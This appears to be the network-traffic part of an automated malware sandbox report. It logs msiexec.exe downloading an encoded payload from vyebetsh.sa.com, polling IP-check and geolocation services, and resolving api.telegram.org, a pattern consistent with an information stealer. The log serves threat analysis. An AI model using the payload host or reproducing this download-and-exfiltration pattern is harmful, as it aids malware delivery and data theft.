Nov 4, 2024 07:13:40.594244003 CET	1.1.1.1	192.168.2.5	0x3b19	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 4, 2024 07:13:53.978249073 CET	1.1.1.1	192.168.2.5	0x97e4	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

api.telegram.org

vyebetsh.sa.com

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49787	141.98.10.40	80	1128	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Nov 4, 2024 07:13:36.248771906 CET	175	OUT	GET /nMcrGmhC252.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: vyebetsh.sa.com Cache-Control: no-cache
Nov 4, 2024 07:13:37.121876001 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 04 Nov 2024 06:13:36 GMT Server: Apache Last-Modified: Sun, 03 Nov 2024 23:42:54 GMT Accept-Ranges: bytes Content-Length: 275008 Content-Type: application/octet-stream Data Raw: 88 13 7d 5b 16 ab d7 65 81 df 0b d4 53 30 68 5a 6c fd 43 c7 70 57 b5 57 c9 35 fe 9b 77 d8 5f cb bc cf 64 b6 66 ad 7d a7 92 68 32 a2 6e bc 75 6c 43 82 28 f3 a2 43 96 86 8e 1f eb 78 81 f9 3f 8b 66 de c7 02 f1 15 73 19 44 38 64 36 63 7f 7f 67 22 6a 96 24 15 36 a2 89 84 ee 78 06 e9 af 87 85 75 02 c3 0b 5a 8e dc 65 11 bf 81 47 5b 20 91 07 42 40 0c cf c5 b6 c4 42 89 b1 49 ff f1 9d e6 a1 32 51 f0 3e 72 f1 c6 8c d2 20 b9 0e a6 f7 14 c9 53 bd 54 95 5a ed 34 d5 29 cc c4 67 00 08 af 6a 0c 2c 4c fd 03 77 8e b0 df 50 77 ed 18 cd 5d b0 b7 6a 8b 96 bf 85 62 49 32 03 47 b7 37 13 5d f9 5d bb 1a b7 6b 2d 8c 51 63 b7 3e 29 64 f6 76 48 62 b6 64 a6 ff 4d 30 21 9a d3 a2 69 18 44 89 44 2e 5b 93 63 3d 7d 8b f6 73 99 f3 dd 1c 88 55 c4 83 50 97 62 fa 0d fc de 62 6d 8d a3 f7 30 53 54 60 1c 08 e7 c5 d0 8b fb e7 a9 65 ea 83 c8 06 bc 4c 05 e4 11 81 28 a4 77 fa 37 76 95 99 39 e3 08 07 94 44 30 c3 d4 d0 76 83 6c a3 5d a6 1b 53 03 5e bc 28 ef 19 33 f5 5a 4f 88 8e 6e 53 fc 5e 66 94 10 52 dc b3 26 3e 2c 75 16 49 93 cf 1b 2d e8 ee 89 [TRUNCATED] Data Ascii: }[eS0hZlCpWW5w_df}h2nulC(Cx?fsD8d6cg"j$6xuZeG[ B@BI2Q>r STZ4)gj,LwPw]jbI2G7]]k-Qc>)dvHbdM0!iDD.[c=}sUPbbm0ST`eL(w7v9D0vl]S^(3ZOnS^fR&>,uI-FLL$R&ahmwJ+G8_V;kBkiVXJf$x-5z,6YP1n~g;s[Az(FF;qaYv,JzLGm-?u5M^ R68AY?aLt[Z}9!\!nz&k_/vwS9 \|v<p,%_Q'YBaFWDh{vJWY7r@tV=[2j^_W'XI*qE57W'$/\|dGsi4]iOrM(N3XTe(StPL} }LZi6jzt]FT;8x63=SK7\|%M=D#}f48RTWybACib+z{O 5l"o)IK-Q[GM1H]i_1VfNXd.dHV [TRUNCATED]
Nov 4, 2024 07:13:37.121886969 CET	212	IN	Data Raw: de 44 ef 6f 01 e3 56 23 71 e2 96 cd 87 ca 22 c1 dd 21 ac e5 9d 7e 89 df 34 86 b9 17 e9 93 77 68 e7 5b 68 6f dc 8e 8e c6 19 6e 92 c4 ae 7a 43 2d ff ba a8 84 05 47 dd 0c c4 26 84 ad ef 7e 76 e1 8d f9 d3 ea 9a b3 1c 74 a7 af 27 39 d8 86 f6 ae 6c 2d Data Ascii: DoV#q"!~4wh[honzC-G&~vt'9l-Lc"5*i[mK,49[\|\ohF=lDmI6<Ndh0\fd:7E(eSZ> ,AjCB1Rn39!&GH
Nov 4, 2024 07:13:37.121911049 CET	1236	IN	Data Raw: 10 98 67 93 6b a6 1a a6 f6 ba 07 45 f7 f3 90 bb 52 f1 b6 e1 fa 60 ac 89 fb 53 a4 6e 53 9d 4e 92 d0 e8 83 f1 71 eb ac 80 76 8e 0d 88 91 e2 eb 31 b6 7c 4c 0d 84 55 01 8f 9b 73 19 44 12 42 34 e7 2c 7f 67 9e 41 96 0e 37 34 a1 f4 68 ee 78 02 c3 89 85 Data Ascii: gkER`SnSNqv1\|LUsDB4,gA74hxqG[ -dBwaikrH<J`p>`ABABGat,u3eM/Z-C&K'SOOd\n`I jeD*eaF>V7f+M2yv
Nov 4, 2024 07:13:37.121918917 CET	212	IN	Data Raw: ad 1a ac 8b 30 07 45 e2 f1 f8 cf d7 f1 b2 ef fb 46 aa a1 f8 3d 1b 6f 53 92 64 b4 d0 e5 80 8c f0 eb d2 8e 5c a8 09 80 b9 9f 7c 1b b6 6b 56 2a 84 5c 02 f2 15 7c 19 40 29 64 1e 82 80 7f 61 90 41 96 22 3f 36 b1 b9 c7 ee 10 02 e9 af 8f 85 75 13 b0 4e Data Ascii: 0EF=oSd\\|kV*\\|@)daA"?6uNZM3A[SBJ$BI{<HJC7EKBm3:~SHal)x(P@7\oC47W?'_Q8{dpHde ]XNwc;}
Nov 4, 2024 07:13:37.121973038 CET	1236	IN	Data Raw: f8 b3 ad a2 fd f5 26 a8 55 c2 83 63 d6 62 fa 07 94 e2 62 4d 8b a3 85 ab 53 54 14 9c 11 e7 c5 d4 f9 a1 e2 a9 15 6a 99 c8 06 b8 3f c3 e0 11 8b aa b8 77 fa 33 5e d2 9b 39 a9 0d 19 94 54 34 b1 98 d1 76 f3 ec ac 5d a6 0f 21 59 5f bc 58 6f 23 33 f5 5e Data Ascii: &UcbbMSTj?w3^9T4v]!Y_Xo#3^=n#\|rf/$&NXVM/ztFH>&WRt$hLj}CNYUr8-/rT;noaiVRb/$rmF/7BZZ~
Nov 4, 2024 07:13:37.122049093 CET	212	IN	Data Raw: 8d 1c a8 5f ce fd 00 93 62 fe 06 bb f2 65 4a 8b cc a6 32 53 5e 66 9c 18 e7 c5 d4 f5 eb e3 a9 61 e1 84 e4 01 bb 4a ea b2 11 81 20 8e 64 ca 35 76 a1 9b 39 a3 9d 07 94 45 24 3d c2 ab 76 83 6a c0 0d a6 0b 59 09 20 ad 28 ef 0d 38 f2 76 48 8f 88 01 02 Data Ascii: _beJ2S^faJ d5v9E$=vjY (8vH^lG"@=uVI'*}[FJ?$@!ykjPwX+@>V+hmBc!VR4u$\|;
Nov 4, 2024 07:13:37.122057915 CET	1236	IN	Data Raw: ac bf 9f 0a 50 f1 15 de b9 0b 87 e2 0c a8 40 94 f4 96 11 d4 a2 ed b8 d2 0d 57 39 ad 47 aa cf fc ce c6 63 39 27 4b ce fe 15 3f 50 86 d6 46 ac d5 31 b1 77 61 8f 98 14 9f f9 f0 5e 70 d8 7d 4a a5 80 78 99 58 47 d8 69 53 e3 8f 93 f0 58 1d 7a b6 82 95 Data Ascii: P@W9Gc9'K?PF1wa^p}JxXGiSXz'ZT%6>A_najLpxNZyt7\\Ez(&}b;p}wU9^jv8\C%_Q1]E%>+vZWX 6r\|V;jQ8jI
Nov 4, 2024 07:13:37.122066975 CET	1236	IN	Data Raw: f1 11 aa a0 78 ee e6 07 a5 67 e1 9b 9a 7e f6 8a be b2 f8 14 74 3d bf 75 82 9b fc de cc 70 2f 21 b2 ba 23 12 3f 26 dd d3 46 ac d5 13 86 63 61 85 90 19 f7 a5 f7 59 7c c5 b6 40 a5 fa 08 7e 4b 47 a8 65 05 be 8f 93 fe 3c 6b 56 b1 8f 93 d1 e8 b2 ae 27 Data Ascii: xg~t=up/!#?&FcaY\|@~KGe<kV'cD".?RS;=hJptZn1sGp b vwC9vyq,y%_QHSBl$(#vYQJFsH~h2T_
Nov 4, 2024 07:13:37.122076988 CET	1236	IN	Data Raw: db e6 07 a5 03 03 f3 90 74 95 a7 fc b7 ee 0f 63 2d b3 5b 3b cf fc d4 c6 64 39 37 da 5a 7a 15 35 56 f2 9e 29 3f df 3b c5 63 66 e0 08 1f 98 df e4 5f 74 9f b9 4a a5 80 69 1e 64 c8 d8 6d 27 e6 89 82 f3 45 0b 51 3f ec fc 42 e5 c0 10 42 ea 13 d0 c3 a5 Data Ascii: tc-[;d97Zz5V)?;cf_tJidm'EQ?BB7K5-A6ZiAY?xMg6Y-} Ve;Ig){SSv~SGp8,%N@",xJ1-7JWX4'~W:<
Nov 4, 2024 07:13:37.122086048 CET	636	IN	Data Raw: 93 f3 9a 72 81 d0 29 bc f8 6e 08 94 ad 73 a0 c2 8e 84 c7 63 58 20 b1 c1 15 a5 3f 56 ff 95 41 87 c7 2a c8 0c d0 8f 9c 15 ec aa f7 59 77 a4 24 5b ad e5 c8 19 4c 4d cb 69 2d e6 88 fc 47 53 1a 5c a2 8c 82 dd c8 1b c4 3a 8f 14 a5 dc a8 d1 01 c5 57 01 Data Ascii: r)nscX ?VAYw$[LMi-GS\:W S78_iY5h0J^GZP1\VoR(cmcv?wS9Sv6v:%_@[3W7AvaH,JWY"moP*1lQXt8X
Nov 4, 2024 07:13:37.128184080 CET	1236	IN	Data Raw: b3 ad 9a a2 18 0a 9c 02 27 3d ac b4 84 e4 66 5f 31 7a 99 13 87 c1 0a 88 9c ae 5b 0c b7 ba 70 30 55 6d f9 b4 49 2f 34 3f 5a ff 34 54 72 62 f7 98 af 76 e7 90 c5 40 9a e7 84 97 e9 72 34 46 be 53 41 8d 5c cd 41 e5 7b b5 df 3e 17 16 f2 f5 2b 2a f6 fc Data Ascii: '=f_1z[p0UmI/4?Z4Trbv@r4FSA\A{>+*JR:VJI7bITUT@-,Adi8?"^U+>"Uxv7wU)B3/DoSn?hz%P+]Y\8d4Vj$6x]ujY[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49804	193.122.6.168	80	1128	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Nov 4, 2024 07:13:39.182477951 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 4, 2024 07:13:40.020806074 CET	323	IN	HTTP/1.1 200 OK Date: Mon, 04 Nov 2024 06:13:39 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: df7ccbf0bccd074fa7aacd64e92998a6 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.69</body></html>
Nov 4, 2024 07:13:40.023854971 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 4, 2024 07:13:40.269002914 CET	323	IN	HTTP/1.1 200 OK Date: Mon, 04 Nov 2024 06:13:40 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: dd525812bc8ca693c77029e2da2e361a Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.69</body></html>
Nov 4, 2024 07:13:40.500725031 CET	323	IN	HTTP/1.1 200 OK Date: Mon, 04 Nov 2024 06:13:40 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: dd525812bc8ca693c77029e2da2e361a Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.69</body></html>
Nov 4, 2024 07:13:41.532917023 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 4, 2024 07:13:41.780272961 CET	323	IN	HTTP/1.1 200 OK Date: Mon, 04 Nov 2024 06:13:41 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: eea125fce00d53547f07fd3860791703 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.69</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49825	193.122.6.168	80	1128	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Nov 4, 2024 07:13:42.535563946 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 4, 2024 07:13:43.368520975 CET	323	IN	HTTP/1.1 200 OK Date: Mon, 04 Nov 2024 06:13:43 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 8e61c9d38de0ea0d5f6a51beed6fd7db Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.69</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49834	193.122.6.168	80	1128	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Nov 4, 2024 07:13:44.146894932 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 4, 2024 07:13:44.988532066 CET	323	IN	HTTP/1.1 200 OK Date: Mon, 04 Nov 2024 06:13:44 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 1895bb71d7db0528553964d8322fd88f Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.69</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49846	193.122.6.168	80	1128	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Nov 4, 2024 07:13:45.963639021 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 4, 2024 07:13:46.798877001 CET	323	IN	HTTP/1.1 200 OK Date: Mon, 04 Nov 2024 06:13:46 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 53291c1bd387504afcd737fa0c70b98f Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.69</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49858	193.122.6.168	80	1128	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Nov 4, 2024 07:13:47.565109015 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 4, 2024 07:13:48.409867048 CET	323	IN	HTTP/1.1 200 OK Date: Mon, 04 Nov 2024 06:13:48 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 0d1d5ed33ccdc9a94b59777ddf5a2ea4 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.69</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49870	193.122.6.168	80	1128	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Nov 4, 2024 07:13:49.164886951 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 4, 2024 07:13:50.006325960 CET	323	IN	HTTP/1.1 200 OK Date: Mon, 04 Nov 2024 06:13:49 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: beaeeebce6018a09f641f6f24662f66c Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.69</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49882	193.122.6.168	80	1128	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Nov 4, 2024 07:13:50.779438019 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 4, 2024 07:13:51.623099089 CET	323	IN	HTTP/1.1 200 OK Date: Mon, 04 Nov 2024 06:13:51 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 203e1325b1a8933a5820aeb5ccb9cbd5 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.69</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49889	193.122.6.168	80	1128	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Nov 4, 2024 07:13:52.384509087 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 4, 2024 07:13:53.210242987 CET	323	IN	HTTP/1.1 200 OK Date: Mon, 04 Nov 2024 06:13:53 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 10562da5c1afa4c4e5bdd898bf0c5306 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.69</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49811	188.114.96.3	443	1128	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-04 06:13:41 UTC	87	OUT	GET /xml/173.254.250.69 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-04 06:13:41 UTC	1222	IN	HTTP/1.1 200 OK Date: Mon, 04 Nov 2024 06:13:41 GMT Content-Type: text/xml Content-Length: 359 Connection: close x-amzn-requestid: e4efa8e8-d13f-4030-8c31-0e7b32b72f8c x-amzn-trace-id: Root=1-67284a0a-5b7499381717d30a571c92ee;Parent=0a40f8dd062bc641;Sampled=0;Lineage=1:fc9e8231:0 x-cache: Miss from cloudfront via: 1.1 5b3c6a4e26bbf4961fe156f79327ee02.cloudfront.net (CloudFront) x-amz-cf-pop: DFW57-P5 x-amz-cf-id: LMfxpBeIdc4uOv1BySdpGpuw_XLxIRzGp39Pi6z_r4dkQmtoLPl60w== Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 7179 Last-Modified: Mon, 04 Nov 2024 04:14:02 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vV3JQxMrGjUyNNUJpblfswyrpPM0%2Fqcctgv%2FNrio6U7llML6SkLqzzWeyY5tbWNkXv32uPnJW4Mc%2F3iz8zEtsqoBK%2FI4%2BRq3kNTR%2FuvvwY6RgxgwACuHuH2o48ftpbGyTTqQ2dCC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dd275a55f8d2e71-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1635&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=1746682&cwnd=251&unsent_bytes=0&cid=547bc60fb753c0bf&ts=194&x=0"
2024-11-04 06:13:41 UTC	147	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e Data Ascii: <Response><IP>173.254.250.69</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionN
2024-11-04 06:13:41 UTC	212	IN	Data Raw: 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 31 2e 30 30 36 35 3c 2f 4c 61 74 69 74 75 64 65 3e 0a 09 3c 4c 6f 6e 67 69 74 75 64 65 3e 2d 39 37 2e 38 34 30 36 3c 2f 4c 6f 6e 67 69 74 75 64 65 3e 0a 09 3c 4d 65 74 72 6f 43 6f 64 65 3e 36 32 35 3c 2f 4d 65 74 72 6f 43 6f 64 65 3e 0a 3c 2f 52 65 73 70 6f 6e 73 65 3e 0a Data Ascii: ame>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>31.0065</Latitude><Longitude>-97.8406</Longitude><MetroCode>625</MetroCode></Response>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49819	188.114.96.3	443	1128	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-04 06:13:42 UTC	63	OUT	GET /xml/173.254.250.69 HTTP/1.1 Host: reallyfreegeoip.org
2024-11-04 06:13:42 UTC	1221	IN	HTTP/1.1 200 OK Date: Mon, 04 Nov 2024 06:13:42 GMT Content-Type: text/xml Content-Length: 359 Connection: close x-amzn-requestid: e4efa8e8-d13f-4030-8c31-0e7b32b72f8c x-amzn-trace-id: Root=1-67284a0a-5b7499381717d30a571c92ee;Parent=0a40f8dd062bc641;Sampled=0;Lineage=1:fc9e8231:0 x-cache: Miss from cloudfront via: 1.1 5b3c6a4e26bbf4961fe156f79327ee02.cloudfront.net (CloudFront) x-amz-cf-pop: DFW57-P5 x-amz-cf-id: LMfxpBeIdc4uOv1BySdpGpuw_XLxIRzGp39Pi6z_r4dkQmtoLPl60w== Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 7180 Last-Modified: Mon, 04 Nov 2024 04:14:02 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qKTpMT1aZmIgQ9fpe%2FsZrHLAhxnCd%2FTCQtxFEgIU0RWK4iXMlZKkPGKgHssNbbWKZzsNHhy5aK9hbsOOV%2FMJo4%2F26ttJniViMtaN5Bx%2Fz%2B5IXEoEz1RP2VXv1CafV3cYf9YwANyY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dd275ac5a4445e8-DFW 